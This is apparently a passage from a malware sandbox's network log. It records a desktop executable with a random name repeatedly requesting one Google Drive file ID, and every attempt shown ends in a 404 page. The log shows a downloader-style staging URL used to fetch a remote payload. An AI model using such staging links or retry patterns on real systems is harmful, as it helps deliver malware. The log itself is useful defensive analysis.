2025-01-10 14:37:59 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:59 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-tue5Bffo7-VM8FeJ8tQkIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.11.20	49809	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:59 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:00 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC59sotPYdc6k18dPqK7hPyfDpAs3BS1ns8BEg1Q4A2wuXhM8_BmqZhtek_Pz-QZuwQR Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:00 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-cjjRN4_ZjqFy-a7rYTDLUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:00 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 57 68 69 42 5a 4d 58 4d 4a 73 53 68 45 4e 72 2d 47 73 46 51 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cWhiBZMXMJsShENr-GsFQA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.11.20	49810	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:10 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:10 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:10 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-fJO-Ln3HTM1BeBcRjnslRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.11.20	49811	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:11 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:11 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5XJJtrVA6kNHjGAk7wjc16t8MWDfSPpR2BwqlHcwg9ctq4yD-dG1a02ZyxeP2DNeVaJDB1k9g Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:11 GMT Content-Security-Policy: script-src 'nonce-JmpaSkKhCT82CkoBuI9M0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:11 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 70 55 55 77 42 6c 35 50 4c 6d 74 4c 52 62 70 76 69 6d 46 58 44 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="pUUwBl5PLmtLRbpvimFXDg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.11.20	49812	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:21 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:22 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:21 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-YJW5ehhEr_1aI8BG1S_nPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.11.20	49813	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:22 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:22 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4USTthsUGV3EuylFkh-2vBtRRMRvC6AOV7JyO0IW9kDGcc7Nz3811iyd4SSUlZyezBeVPBSoE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:22 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-f1wcMSF50eix_uAYV4hNAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:22 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 6e 39 71 5f 63 4e 4d 74 72 5a 79 37 53 64 70 46 6a 37 69 71 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="In9q_cNMtrZy7SdpFj7iqw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.11.20	49814	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:32 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:33 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:33 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-7yazehcfmuoxveyamUt91g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.11.20	49815	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:33 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:38:33 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6VT7SqsEAXFXI3gxlBVIYxVvkTmYV-99KGo9FoVCTCN1ocLk0vaLGYUmzOLOMuNqhg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:38:33 GMT Content-Security-Policy: script-src 'nonce-ewITGIgRhDbS9Uenfm61xg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:38:33 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 45 55 2d 76 38 51 74 34 64 35 77 31 41 69 68 49 47 4e 4d 4e 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UEU-v8Qt4d5w1AihIGNMNg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.11.20	49816	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:38:44 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
